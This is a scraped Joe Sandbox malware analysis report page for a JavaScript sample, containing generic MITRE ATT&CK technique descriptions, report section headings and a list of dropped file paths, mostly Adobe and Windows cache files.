Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1632322273251213172.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\35f29d60-663c-4a2a-8251-46331af96857.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6424

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1632322273251213172.js